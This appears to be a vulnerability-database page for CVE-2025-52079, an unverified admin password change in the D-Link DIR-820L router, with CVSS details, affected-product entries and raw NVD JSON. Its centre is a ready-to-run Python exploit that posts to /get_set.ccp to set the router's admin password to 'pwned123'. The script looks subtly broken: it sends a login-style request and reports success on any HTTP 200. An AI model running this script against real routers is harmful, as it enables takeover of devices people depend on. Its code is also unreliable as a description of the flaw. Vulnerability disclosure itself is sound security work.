Security Vulnerability Report
中文
CVE-2025-52079 CVSS 8.8 HIGH

CVE-2025-52079

Published: 2025-10-21 20:20:40
Last Modified: 2025-11-03 19:00:59

Description

The administrator password setting of the D-Link DIR-820L 1.06B02 is has Improper Access Control and is vulnerable to Unverified Password Change via crafted POST request to /get_set.ccp.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-820l_firmware:1.06b02:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-820l:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-820L 固件版本 1.06B02

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-52079 - D-Link DIR-820L Unverified Password Change PoC # Exploits Improper Access Control in /get_set.ccp endpoint import requests import sys TARGET_IP = "192.168.0.1" # Default D-Link router IP TARGET_PORT = 80 NEW_PASSWORD = "pwned123" def exploit(target_ip, new_password): """ Send crafted POST request to /get_set.ccp to change admin password without authentication. """ url = f"http://{target_ip}:{TARGET_PORT}/get_set.ccp" # Crafted POST data with new administrator password payload = { "login_password": new_password, "login_name": "admin", "ACTION": "login", } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-52079)", "Referer": f"http://{target_ip}/", } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Password successfully changed to: {new_password}") print(f"[+] Login at http://{target_ip}/ with admin:{new_password}") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_IP password = sys.argv[2] if len(sys.argv) > 2 else NEW_PASSWORD exploit(target, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52079", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:40.347", "lastModified": "2025-11-03T19:00:58.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The administrator password setting of the D-Link DIR-820L 1.06B02 is has Improper Access Control and is vulnerable to Unverified Password Change via crafted POST request to /get_set.ccp."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-820l_firmware:1.06b02:*:*:*:*:*:*:*", "matchCriteriaId": "E1243EBC-E270-4CC6-91A2-3ED0C76AD9B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-820l:-:*:*:*:*:*:*:*", "matchCriteriaId": "88CE60CD-DCDA-43E0-80A9-257557EDBC29"}]}]}], "references": [{"url": "https://github.com/namberino/cve/tree/main/CVE-2025-52079", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}